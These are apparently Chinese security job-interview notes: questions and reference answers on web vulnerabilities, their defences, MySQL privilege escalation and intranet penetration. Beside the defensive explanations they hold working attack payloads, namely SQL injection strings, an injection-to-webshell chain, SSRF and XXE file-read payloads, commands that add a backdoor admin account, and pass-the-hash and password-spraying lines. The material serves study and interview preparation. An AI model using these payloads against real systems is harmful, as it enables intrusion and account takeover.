面试查漏补缺
This_is_Y Lv6

阿里-实习

1. 快速判断目标是Linux还是Windows

linux对大小写敏感,
win不敏感,
目录修改一下字母大小写,如果正常访问,大概率是win,不能就可能是linux

2. 站库分离

https://blog.csdn.net/Vdieoo/article/details/109515514

    • 从 web 网站打入进而打站库分离的数据库,内网渗透
      ①. 从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码 执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。
      ②. 在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内 容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作
  • 从数据库打入进而打站库分离的 web 网站,内网渗透
    ①. MySql
    (1)定位 web 端 ip 地址
1
select * from information_schema.PROCESSLIST;

在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。
(2)load_file () 获取数据库所在服务器的敏感信息
如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。

1
select load_file('C:/test.txt');

②. MsSql
(1) 判断是否站库分离
得到客户端主机名: select host_name();
得到服务端主机名: select @@servername;
根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。

3. CSRF

Cross-site requestforgery,也就是跨站请求伪造
XSS攻击是跨站脚本攻击,CSRF攻击是请求伪造,XSS来自用户的手,完成一些操作或者是泄露信息,CSRF攻击本不是出自用户之手,却经过第三方恶意攻击者的处理,伪装成了受信任用户的“亲历亲为”。两者的关系属于 ,XSS是实现CSRF的诸多途径中的一条,但并不是唯一的一条。
常见的CSRF在用户修改密码的地方

image-20210610101822012

防御:
来自:https://tech.meituan.com/2018/10/11/fe-security-csrf.html
CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。
CSRF的两个特点:

  • CSRF(通常)发生在第三方域名。
  • CSRF攻击者不能获取到Cookie等信息,只是使用。
    针对这两点,我们可以专门制定防护策略,如下:
  • 阻止不明外域的访问
    同源检测
    Samesite Cookie
  • 提交时要求附加本域才能获取的信息
    CSRF Token
    双重Cookie验证
    CSRF TOKEN:
    CSRF Token的防护策略分为三个步骤:
  1. 将CSRF Token输出到页面中
  2. 页面提交的请求携带这个Token
  3. 服务器验证Token是否正确

4. SSRF

Server Side RequestForgery,服务器端请求伪造
它是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。因为它是由服务端发起的,所以它能够请求到与它相连但与外网隔离的内部系统。由于服务端提供了从其他服务器应用获取数据的功能(例如分享等功能)且没有对目标地址做过滤与限制,给予了攻击者乘虚而入的机会。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

SSRF的受害对象主要是一些服务器所连接的一些内网设备,如内网的应用程序通过file协议获得内部网络的资料

防御:

1.将URL进行解析转化成IP,并使用正则表达式表示内网网址,并以此进行URL过滤。

2.建立URL白名单,只允许白名单上内容通过过滤。

3.建立内网IP黑名单,阻止对该IP的请求。

4.对返回内容进行过滤,减少敏感内容暴露。

5.禁止不需要的协议,只允许http和https协议的请求,减少file等协议的问题。

5. XSS防御

HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,那么这一条 Cookie 将被禁止读取,也就是说,JavaScript 读取不到此条 Cookie,不过在与服务端交互的时候,Http Request 包中仍然会带上这个 Cookie 信息,即我们的正常交互不受影响。

XSS的防御分输入和输出两方面
https://juejin.cn/post/6844903684900388871#heading-7

输入

格式检验,例如用户名只能以字母和数字组合,手机号码只能有 11 位且全部为数字,否则即为非法。
白名单检测
匹配XSS特征

输出

HTMLEncode
JavaScriptEncode

6. sql预编译

一条sql语句的执行需要经过语义解析,制定执行计划,执行并返回结果。

预编译是指把要执行的sql语句先进行一个解析,解析语法以及确定查询范围还有查找的返回结果类型,就是确定了查询的方式,把命令和参数进行了分离,使用预编译的sql语句来进行查询直接进行执行计划,不会在进行语义解析,也就是DB不会在进行编译,而是直接执行编译过的sql。只需要替换掉参数部分。

  1. 预编译使用错误
    预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

  2. 部分参数不可预编译
    在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

  3. 预编译实现错误
    部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

7. nmap扫码方式、种类

  • 端口扫描技术

-sS(TCP SYN 扫描/半开扫描)
-sT(TCP connect()扫描)
-sU(UDP 扫描)
-sN、-sF、-sX(TCP Null、FIN、Xmas 扫描)
-sA(TCP ACK 扫描)
-sW(TCP 窗口扫描)
-sM(TCP Maimon 扫描)
–scanflags(定制的 TCP 扫描)
-sI(Idel 扫描)
-sO(IP 协议扫描)
-b(FTP 弹跳扫描)

  • 服务版本探测

-sV(版本探测)
–allports(不为版本探测排除任何端口)
–version-intensity (设置版本扫描强度):
–version-light (打开轻量级模式):
–version-all (尝试每个探测):
–version-trace((跟踪版本扫描活动):
-sR(RPC 扫描)

8. mysql的提权方式

https://blog.csdn.net/he_and/article/details/81434865

mof提权

1.原理
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
2.利用条件
mysql用户具有root权限(对上面那个目录可写)
关闭了secure-file-priv

udf提权

1.原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
2.利用条件

  • mysql < 5.0,导出路径随意。

  • 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)

    查看路径:

    1
    show variables like '%plugin%';
  • mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。

  • 拥有可以将udf.dll写入相应目录的权限。这一条件主要是要看 secure_file_priv的值

    1
    show global variables like 'secure%';

    当secure_file_priv的值为NULL或/tmp/时,此时无法提权
    当secure_file_priv的值没有具体值时,则可以提权

​ udf文件路径:

9.mysql getshell的方式

条件

  • root权限

  • 绝对路径

  • 文件写入 secure_file_priv参数

方式

慢查询,写日志,

dumpfile()

outfile()

10. linux 计划任务

1.一次性任务计划:at
2.周期性任务计划:crontab

11. 代码审计

简单浏览网站目录结构

简单看完目录后,我会看主页的index.php,在看这个文件的同时,我还会打开它的网页,做到一边看代码,一边看网页的效果

看用户输入,找功能点,找敏感函数

12.

9. wireshark过滤规则

IP:

源、目的IP为xxx
ip.addr == 172.16.0.0/16
ip.src == 172.16.0.0/16
ip.dst == 192.168.0.0/16

端口:

方法一样,但是需要区别TCP和UDP
TCP.port == 80
UDP.port == 3702
TCP.srcport == 80
tcp.dstport == 80
……

协议:

协议直接输就行了
tcp
icmp
dns
snmp
……

10. 宽字节注入

留坑

11. RSA加密过程

留坑

长沙数字马力-lyc

一面

  1. 安全八股文
  2. shiro原理
  3. sqlmap os-shell执行命令的原理
  4. 简历项目,印象较深的漏洞挖掘经历,应急能力等
  5. 登录页面如何渗透,思路。
  6. sqlserver xmp_cmd

二面

  1. 对SDL的认知,给一个业务场景(比如登录页面),说说可以从哪些方面开展SDL建设
  2. 针对项目经历,谈谈过程,如何优化做得更好

三面

抽象问题,怎么做一次好的渗透测试

北京-驻场

shiro反序列化

log4j反序列化

https://www.cnblogs.com/YikJiang/p/17306757.html#1%E3%80%81%E5%8E%9F%E7%90%86%E6%A6%82%E8%BF%B0

fastjson反序列化-利用链流程分析

https://www.cnblogs.com/YikJiang/p/17420339.html

登录页面如何渗透,思路。

应急响应经验

CTF经验

护网经验

代码审计经验(挖到的漏洞)

阿里云 OSS 对象存储攻防 https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_oss#4bucket-object%E9%81%8D%E5%8E%86

shopee-cpy

1. 反射型XSS和DOM型XSS的payload有什么区别?

2. 什么是同源策略?使用dom型XSS获取用户cookie发送到我们服务器的时候会不会被同源策略拦住?该怎么处理?

3. 给你个带公网IP的云主机,你怎么渗透?

4. 说到端口扫描,nmap你常用哪些命令来扫端口?敲在聊天框里

5. nmap扫描的端口总共有几个状态?怎么判断他是closed还是filter

6. 你刚刚说开放redis能拿shell,你有几种方法能拿?

7. 你还记得哪些服务的默认端口?把你记得的全说出来。RDP?mysql?msserver?smb?

8. msserver对外开放有什么利用手法?

9. web应用你怎么渗透?

10. 如果访问IP发现是403,你会尝试哪些方法开始渗透?

11. 你说https跳转http,该怎么配置能够实现?跳转的状态码是什么?header哪个位置有标记?

12. 在http数据包里你关注cookie里的哪些属性?了解过httponly的工作原理吗?

13. 你擅长什么语言的审计?(然后给你一段代码看有什么漏洞)

14. 如何防护这个漏洞?防护原理是什么?(我的是python,sub.checkoutput,选项里有个shell=True)

15. 如果给你这个漏洞,你怎么反弹shell?写一下你的命令出来

16. |和||的区别和作用,&和&&的区别和作用

17. 如果过滤了||和&&这种,你有几种绕过方式?

18. shell里如何防护这个漏洞以达到python哪个效果?比如我有个echo后面能随意拼接,该怎么防

19. 双引号能不能防护?

20. 问项目和离职原因

21. API项目你怎么判断API有问题?

22. 去两年你做了什么工作?

23. 给你足够信息的话,你审计的思路有哪些?

24. 反问环节(这里我又跟他扯皮了一下AI相关,问了一下上下班时间和项目内容)

润和-荣耀外包

1. SSRF原理

面试问题: 请详细解释SSRF的原理、危害和常见利用方式。

参考答案:

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# SSRF (Server-Side Request Forgery) 服务端请求伪造
# 原理:攻击者诱使服务器向内部或外部系统发起恶意请求

# 漏洞示例代码
import requests

def vulnerable_function(url):
# 危险:未验证用户输入的URL
response = requests.get(url) # 攻击者可控制此URL
return response.text

# 攻击向量示例:
# 1. 访问内网服务:http://internal-server:8080
# 2. 文件读取:file:///etc/passwd
# 3. 端口扫描:http://127.0.0.1:22

危害:

  • 内网服务探测和攻击
  • 敏感文件读取
  • 绕过网络隔离
  • 远程代码执行

2. SSRF用什么协议探测端口

面试问题: SSRF攻击中常用哪些协议进行端口探测?请举例说明。

参考答案:

http

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 常用协议及Payload示例:

# 1. HTTP/HTTPS(最常用)
http://127.0.0.1:22
http://192.168.1.1:3306

# 2. FILE协议(文件读取)
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts

# 3. DICT协议(获取服务banner)
dict://127.0.0.1:6379/info # Redis
dict://127.0.0.1:21/info # FTP

# 4. GOPHER协议(功能强大)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

# 5. TFTP协议
tftp://127.0.0.1:69/TEST

# 端口探测技巧:
# - 响应时间差异判断端口状态
# - 错误信息差异(连接拒绝 vs 超时)
# - HTTP状态码(200, 400, 500等)

3. SSRF和CSRF的区别

面试问题: 详细说明SSRF和CSRF的区别。

参考答案:

特性 SSRF (服务端请求伪造) CSRF (跨站请求伪造)
攻击目标 服务器端应用 用户浏览器
利用位置 服务端请求功能 用户已认证的会话
攻击流程 用户→恶意请求→服务器→内部网络 用户←诱导←攻击者→目标网站
防护重点 输入验证、URL白名单 Token验证、Referer检查
危害范围 内网渗透、数据泄露 用户权限内的操作执行
1
2
3
4
5
6
7
8
9
10
11
# 代码示例对比:

# SSRF漏洞代码(服务端)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url') # 用户可控
return requests.get(url).text # 服务器发起请求

# CSRF漏洞代码(客户端)
<img src="http://bank.com/transfer?to=attacker&amount=1000" >
# 用户浏览器在认证状态下自动发起请求

4. SQL注入的原理

面试问题: 解释SQL注入原理,并给出防护方案。

参考答案:

sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-- 漏洞原理:用户输入被直接拼接到SQL语句中
-- 原始查询:SELECT * FROM users WHERE username = '$username' AND password = '$password'

-- 攻击payload:
username: admin' --
password: anything
-- 最终SQL:SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

-- 联合查询注入:
' UNION SELECT 1,2,database() --

-- 报错注入:
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) --

-- 防护方案:
# 1. 预编译语句(Java示例)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);

# 2. 输入验证和过滤
# 3. 最小权限原则
# 4. WAF防护

5. 报错注入的函数

面试问题: 列举常见的报错注入函数及其用法。

参考答案:

sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- MySQL报错注入函数:

-- 1. extractvalue() - XML路径错误
' AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e)) --

-- 2. updatexml() - XML更新错误
' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1) --

-- 3. floor() + rand() + group by - 重复键错误
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT user()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --

-- 4. exp() - 数值溢出错误
' AND exp(~(SELECT * FROM (SELECT user())a)) --

-- 5. geometrycollection() - 几何函数错误
' AND geometrycollection((SELECT * FROM (SELECT * FROM (SELECT user())a)b)) --

-- 利用原理:通过故意制造错误,让数据库在错误信息中返回敏感数据

6. 延时注入如何来判定

面试问题: 如何通过时间延迟判定SQL注入漏洞?

参考答案:

sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-- 时间盲注判定方法:

-- MySQL延时函数:
' AND sleep(5) -- -- 无条件延迟
' AND if(1=1,sleep(5),0) -- -- 条件为真时延迟

-- 逐字符判断:
' AND if(ascii(substring(database(),1,1))>100,sleep(5),0) --

-- 其他数据库延时方法:
-- SQL Server: WAITFOR DELAY '0:0:5'
-- PostgreSQL: pg_sleep(5)
-- Oracle: dbms_pipe.receive_message('a',5)

-- 自动化检测脚本示例:
import requests
import time

def check_time_based_sql(url, param, payload):
start_time = time.time()
response = requests.get(url, params={param: payload})
end_time = time.time()

if end_time - start_time > 5: # 如果响应时间超过5秒
return True
return False

# 使用示例
payload = "test' AND sleep(5) --"
if check_time_based_sql("http://example.com/search", "q", payload):
print("存在时间盲注漏洞")

7. demo.jsp?uid=110 注入点获取webshell思路

面试问题: 针对注入点demo.jsp?uid=110,详细说明获取webshell的思路。

参考答案:

sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-- 步骤1:信息收集
110 AND 1=2 UNION SELECT 1,version(),3,4,5 -- # 数据库版本
110 AND 1=2 UNION SELECT 1,user(),3,4,5 -- # 当前用户
110 AND 1=2 UNION SELECT 1,database(),3,4,5 -- # 当前数据库

-- 步骤2:检查权限和路径
110 AND 1=2 UNION SELECT 1,@@secure_file_priv,3,4,5 -- # 文件操作权限
110 AND 1=2 UNION SELECT 1,load_file('/etc/passwd'),3,4,5 -- # 读取文件测试

-- 步骤3:获取网站绝对路径(方法)
-- 通过报错信息、load_file读取配置文件、系统表查询等

-- 步骤4:写入webshell
110 UNION SELECT 1,"<?php system($_GET['cmd']);?>",3,4,5 INTO OUTFILE '/var/www/html/shell.php' --

-- 如果INTO OUTFILE被禁用,替代方案:
-- 1. 日志文件写入(需要MySQL日志功能)
-- 2. 通过创建表写入
110 UNION SELECT 1,0x3C3F7068702073797374656D28245F4745545B27636D64275D293B3F3E,3,4,5 INTO DUMPFILE '/var/www/html/shell.php' --

-- 步骤5:访问webshell执行命令
http://example.com/shell.php?cmd=id

8. XSS和XXE的区别,修复方式

面试问题: 对比XSS和XXE漏洞的原理、危害和修复方式。

参考答案:

xml

特性 XSS XXE
攻击载体 HTML/JavaScript XML文档
攻击位置 客户端浏览器 服务端XML解析器
主要危害 会话劫持、钓鱼、蠕虫 文件读取、SSRF、RCE
常见场景 搜索框、评论框、个人信息 XML上传、Web Service、API
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!-- XSS (跨站脚本) vs XXE (XML外部实体注入) -->
<!-- XXE漏洞示例 -->
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- XSS漏洞示例 -->
<script>alert(document.cookie)</script>

**修复方案:**

# XSS修复:
1. 输入输出编码:HTMLEncode、JavaScriptEncode
2. CSP策略:Content-Security-Policy
3. HttpOnly Cookie:防止Cookie被JavaScript读取
4. 输入验证和过滤

# XXE修复:
1. 禁用外部实体:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

2. 使用安全的XML解析器
3. 输入验证:检查XML内容
4. 白名单验证XML结构

9. 日志注入

面试问题: 什么是日志注入?如何防范?

参考答案:

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 日志注入原理:攻击者通过注入特殊字符破坏日志格式或执行代码

# 漏洞示例
import logging

def login(username, password):
# 危险:用户输入直接写入日志
logging.info(f"User {username} attempted login with password {password}")

# 攻击payload:username = "admin\nERROR: Database connection failed"
# 日志输出会多出一行假错误信息

# 日志注入攻击类型:
# 1. 日志伪造:插入换行符创建虚假日志条目
# 2. 日志溢出:超长输入导致日志文件过大
# 3. 代码注入:如果日志在Web界面显示,可能触发XSS

# 防护措施:
def safe_logging(username, password):
# 1. 输入过滤:移除控制字符
clean_username = re.sub(r'[\r\n]', '', username)

# 2. 结构化日志:使用JSON格式
logging.info({'event': 'login_attempt', 'user': clean_username})

# 3. 长度限制
if len(username) > 100:
username = username[:100] + "..."

# 4. 编码输出
safe_username = html.escape(username) if displaying_in_html else username

10. 内网渗透的思路

面试问题: 描述内网渗透的基本思路和方法。

参考答案:

markdown

内网渗透方法论:

阶段1:信息收集

  • 网络拓扑发现:nmap -sn 192.168.1.0/24
  • 端口扫描:nmap -sS -sV -O 目标IP
  • 服务识别:Banner抓取、版本检测
  • 域环境探测:nltest /dclist, net view /domain

阶段2:权限提升

  • 系统漏洞:MS17-010、CVE-2021-34527
  • 配置错误:弱密码、服务权限过高等
  • 凭证窃取:Mimikatz、LaZagne
  • 服务漏洞:数据库、中间件漏洞

阶段3:横向移动

  • 密码喷洒攻击
    crackmapexec smb 192.168.1.0/24 -u userlist.txt -p ‘Spring2024!’

  • Pass-the-Hash攻击
    psexec.py -hashes LMHASH:NTHASH administrator@目标IP

  • WMI执行命令
    wmic /node:目标IP process call create “cmd.exe /c whoami”

阶段4:权限维持

  • 后门账户:隐藏用户、克隆账户
  • 计划任务:schtasks创建定时任务
  • 服务后门:创建系统服务
  • 启动项:注册表、启动文件夹

阶段5:数据窃取

  • 敏感文件搜索:findstr /s /i "password" *.txt *.xml *.config
  • 数据库导出:mysqldump -u root -p database > backup.sql
  • 流量加密外传:使用HTTPS、DNS隧道等

11. MySQL的两种提权方式

面试问题: 介绍MySQL的两种提权方式。

参考答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-- 方法1:UDF提权(User Defined Function)
-- 前提:具有FILE权限,plugin目录可写

-- 步骤1:检查plugin目录位置
SELECT @@plugin_dir;

-- 步骤2:上传恶意UDF文件(linux下为.so,windows下为.dll)
-- 通过SELECT ... INTO DUMPFILE写入恶意库文件

-- 步骤3:创建恶意函数
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';

-- 步骤4:执行系统命令
SELECT sys_exec('id > /tmp/test.txt');

-- 方法2:启动项提权(Windows)
-- 前提:具有FILE权限,知道启动项路径

-- 写入VBS脚本到启动项
SELECT 'Set ws = CreateObject("Wscript.Shell")'
UNION SELECT 'ws.run "cmd /c net user hacker P@ssw0rd /add",0'
INTO OUTFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\backdoor.vbs';

-- 或者写入批处理文件
SELECT 'net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add'
INTO OUTFILE 'C:\\Windows\\System32\\GroupPolicy\\Machine\\Scripts\\Startup\\backdoor.bat';

12. TCP和UDP的区别

面试问题: 详细说明TCP和UDP协议的区别。

参考答案:

特性 TCP (传输控制协议) UDP (用户数据报协议)
连接性 面向连接,三次握手 无连接,直接发送
可靠性 可靠传输,确认机制 不可靠,可能丢包
顺序性 保证数据顺序 不保证顺序
流量控制 滑动窗口机制 无流量控制
拥塞控制 慢启动、拥塞避免 无拥塞控制
头部大小 20-60字节 8字节
传输效率 相对较低 相对较高
应用场景 Web、邮件、文件传输 视频流、DNS、游戏
1
2
3
4
5
6
7
8
9
10
11
# 代码示例对比:

# TCP客户端(需要建立连接)
import socket
tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_socket.connect(('host', port)) # 需要连接
tcp_socket.send(b'data')

# UDP客户端(直接发送)
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.sendto(b'data', ('host', port)) # 直接发送

13. 加密算法/AES模式/密钥安全

面试问题: 解释AES加密的几种模式,哪种更安全?密钥长度要求?

参考答案:

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# AES加密模式比较:

# 1. ECB模式(不安全)- 相同明文生成相同密文
# 问题:不能隐藏数据模式,容易受到重放攻击

# 2. CBC模式(常用)- 需要IV,每个块依赖前一个块
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

# 3. CTR模式(推荐)- 计数器模式,可并行加密
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
ciphertext = cipher.encrypt(plaintext)

# 4. GCM模式(最安全)- 提供认证加密
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)

**安全建议:**
- 推荐使用:GCM > CTR > CBC > ECB
- 密钥长度:AES-256(256位)> AES-192 > AES-128
- IV/Nonce要求:随机生成,每次加密不同
- 密钥管理:使用KMS或HSM,定期轮换

14. RSA的原理和密钥长度

面试问题: 解释RSA加密原理、填充方式和密钥长度要求。

参考答案:

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import rsa

# RSA原理:基于大数分解难题
# 密钥生成:选择两个大质数p和q,计算n=p*q,φ(n)=(p-1)*(q-1)

# 密钥生成
(public_key, private_key) = rsa.newkeys(2048) # 推荐2048位

# 加密解密
message = b"Secret message"
ciphertext = rsa.encrypt(message, public_key)
plaintext = rsa.decrypt(ciphertext, private_key)

# 数字签名
signature = rsa.sign(message, private_key, 'SHA-256')
rsa.verify(message, signature, public_key)

**填充方式:**
- PKCS#1 v1.5:传统填充,可能存在漏洞
- OAEP(推荐):最优非对称加密填充,更安全

**密钥长度安全要求:**
- 当前安全:2048位(2030年前安全)
- 长期安全:3072位或4096位
- 已不安全:1024位及以下(可被破解)

15. Java代码审计SQL注入

面试问题: 如何进行Java代码审计发现SQL注入?

参考答案:

java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 危险代码示例(存在SQL注入)
public class VulnerableDAO {
public User getUser(String username) {
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// 直接拼接用户输入 - SQL注入风险
return jdbcTemplate.queryForObject(sql, User.class);
}
}

// 安全代码示例(使用预编译)
public class SafeDAO {
public User getUser(String username) {
String sql = "SELECT * FROM users WHERE username = ?";
return jdbcTemplate.queryForObject(sql, new Object[]{username}, User.class);
}
}

// MyBatis审计要点:
// 1. 检查是否使用#{}(安全) vs ${}(危险)
<select id="getUser" parameterType="String" resultType="User">
SELECT * FROM users WHERE username = #{username} <!-- 安全 -->
SELECT * FROM users WHERE username = '${username}' <!-- 危险 -->
</select>

// 2. 检查动态SQL拼接
<select id="findUsers" parameterType="map" resultType="User">
SELECT * FROM users WHERE 1=1
<if test="name != null">
AND name = '${name}' <!-- 危险:使用${} -->
</if>
</select>

16. 哪些情况下必须要用${}

面试问题: 在MyBatis中,什么情况下必须使用${}?

参考答案:

xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!-- 必须使用${}的场景: -->

<!-- 1. 动态表名/列名(无法使用预编译) -->
<select id="getData" parameterType="map">
SELECT * FROM ${tableName} WHERE ${columnName} = #{value}
</select>

<!-- 2. ORDER BY排序字段 -->
<select id="getUsers" parameterType="map">
SELECT * FROM users
ORDER BY ${sortField} ${sortDirection}
<!-- 不能使用#{},因为会添加引号:ORDER BY 'username' 'DESC' -->
</select>

<!-- 3. LIKE模糊查询中的通配符位置 -->
<select id="searchUsers">
SELECT * FROM users WHERE name LIKE '%${keyword}%'
<!-- 注意:这种方式存在SQL注入风险,需要白名单验证 -->
</select>

<!-- 安全使用${}的最佳实践: -->
<select id="safeDynamicQuery">
SELECT * FROM users
WHERE
<!-- 使用白名单验证动态列名 -->
<choose>
<when test="orderBy == 'name' or orderBy == 'id'">
${orderBy} = #{value}
</when>
<otherwise>
1=0 <!-- 非法参数返回空结果 -->
</otherwise>
</choose>
</select>

17. 文件上传代码审计要点

面试问题: 从代码审计角度,文件上传功能需要检查哪些安全点?

参考答案:

java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// 文件上传安全审计清单:

public class FileUploadService {

// 1. 文件类型验证(不能仅靠扩展名)
public boolean validateFileType(MultipartFile file) {
// 危险:仅检查扩展名
String filename = file.getOriginalFilename();
if (filename.endsWith(".jpg")) { // 可绕过:shell.jpg.php
return true;
}

// 安全:检查Magic Number(文件头)
byte[] header = new byte[4];
file.getInputStream().read(header);
return Arrays.equals(header, new byte[]{(byte)0xFF, (byte)0xD8, (byte)0xFF, (byte)0xE0});
}

// 2. 文件内容检查(防止图片马)
public boolean validateFileContent(File file) {
// 使用图像处理库验证确实是有效图片
try {
BufferedImage image = ImageIO.read(file);
return image != null; // 如果是有效图片,返回true
} catch (Exception e) {
return false;
}
}

// 3. 文件重命名(防止路径遍历)
public String generateSafeFilename(String originalFilename) {
// 提取扩展名并验证
String ext = getValidatedExtension(originalFilename);

// 生成随机文件名
return UUID.randomUUID().toString() + "." + ext;
}

// 4. 目录权限控制
public void setUploadDirectoryPermissions(File dir) {
// 上传目录不应有执行权限
dir.setReadable(true, false);
dir.setWritable(true, false);
dir.setExecutable(false, false); // 关键:禁止执行权限
}
}

// CSV注入防护:
public String sanitizeCsvValue(String value) {
// 检查是否以危险字符开头:=, +, -, @
if (value.startsWith("=") || value.startsWith("+") || value.startsWith("-") || value.startsWith("@")) {
// 添加前缀或转义
return "'" + value;
}
return value;
}

18. 四大组件的漏洞

面试问题: 详细说明Android四大组件的安全漏洞。

参考答案:

java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 1. Activity漏洞 - 权限绕过、劫持
// 危险配置:android:exported="true" 且未设置权限
<activity android:name=".LoginActivity"
android:exported="true"> <!-- 可被外部应用调用 -->
</activity>

// 修复:设置适当的权限或设置为false
<activity android:name=".LoginActivity"
android:exported="false"
android:permission="custom.permission">

// 2. Service漏洞 - 未授权访问
<service android:name=".DataService"
android:exported="true"> <!-- 外部应用可绑定 -->
</service>

// 3. Broadcast Receiver漏洞 - 信息泄露
// 危险:动态注册的广播未设置权限
IntentFilter filter = new IntentFilter("SENSITIVE_ACTION");
registerReceiver(receiver, filter); // 未设置权限

// 4. Content Provider漏洞 - SQL注入、目录遍历
// SQL注入风险代码
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
// 危险:直接拼接参数
String query = "SELECT * FROM data WHERE " + selection;
return db.rawQuery(query, null);
}

// 安全方式:使用参数化查询
public Cursor safeQuery(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
return db.query("data", projection, selection, selectionArgs, null, null, sortOrder);
}

19. AI安全

面试问题: AI安全主要关注哪些方面?

参考答案:

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# AI安全主要领域:

# 1. 对抗样本攻击
import torch
from torchvision import models

model = models.resnet50(pretrained=True)
model.eval()

# 生成对抗样本
def fgsm_attack(image, epsilon, data_grad):
sign_data_grad = data_grad.sign()
perturbed_image = image + epsilon * sign_data_grad
return perturbed_image

# 2. 模型窃取攻击
# 通过API查询重建模型
def model_stealing(target_model, query_budget):
stolen_model = create_similar_model()
for i in range(query_budget):
x = generate_input()
y = target_model.predict(x) # 查询目标模型
stolen_model.train(x, y) # 训练窃取模型
return stolen_model

# 3. 数据投毒攻击
# 在训练数据中插入恶意样本
def data_poisoning(training_data, poison_ratio=0.1):
poisoned_data = training_data.copy()
num_poison = int(len(training_data) * poison_ratio)

for i in range(num_poison):
# 修改标签或添加触发器
poisoned_data[i] = add_backdoor(poisoned_data[i])

return poisoned_data

# 4. 成员推断攻击
# 判断特定数据是否在训练集中
